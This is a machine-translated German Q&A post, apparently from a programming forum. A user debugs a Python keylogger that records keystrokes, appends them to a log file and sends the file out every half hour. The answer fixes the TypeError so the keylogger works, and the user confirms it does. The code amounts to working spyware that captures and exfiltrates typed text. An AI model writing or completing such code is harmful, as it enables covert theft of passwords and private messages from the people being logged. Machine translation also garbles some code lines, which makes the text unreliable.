2017-01-04 4 views
0

defFILE_INPUT (aufgezeichnet):Typeerror: write() Argument str werden müssen, die Liste nicht

now_time = datetime.datetime.now() 
w = open("LOG.txt", 'a') 
w.write(recorded) 
w.write("\n") 
w.write(now_time) 
w.write("--------------------------------------") 
w .close() 

wenn Name == "Haupt":

while 1: 

    status = time.localtime() 
    result = [] 
    keyboard.press_and_release('space') 
    recorded = keyboard.record(until='enter') 
    file_input(recorded) 
    if (status.tm_min == 30): 
     f = open("LOG.txt", 'r') 
     file_content = f.read() 
     f.close() 
     send_simple_message(file_content) 

Ich versuche, einen Keylogger in Python zu schreiben, und ich konfrontiert Typfehler wie das wie kann ich dieses Problem lösen?

Ich habe einfach in Variable geschrieben in write() und es macht Typ Fehler und aufgezeichneten Variablentyp ist Liste. Also habe ich versucht, join func zu verwenden, aber es hat nicht funktioniert

+0

die Frage ist nicht ganz klar –

Antwort

0

Sie versuchen, in eine Datei mit w.write() zu schreiben, aber es dauert nur eine Zeichenfolge als Argument. now_time ist ein "Datetime" -Typ und keine Zeichenfolge. wenn Sie das Datum nicht formatieren müssen, können Sie einfach das tun, statt:

w.write(str(nowtime)) 

Die gleiche Sache mit

w.write(recorded) 

recorded ist eine Liste von Ereignissen, müssen Sie es verwenden, um eine konstruieren Zeichenfolge, bevor Sie versuchen, diese Zeichenfolge in die Datei zu schreiben. Zum Beispiel:

recorded = keyboard.record(until='enter') 
typedstr = " ".join(keyboard.get_typed_strings(recorded)) 

Dann innen file_input() Funktion können Sie:

w.write(typedstr) 
+0

es funktionierte! Schätze es wirklich – Gripex

Verwandte Themen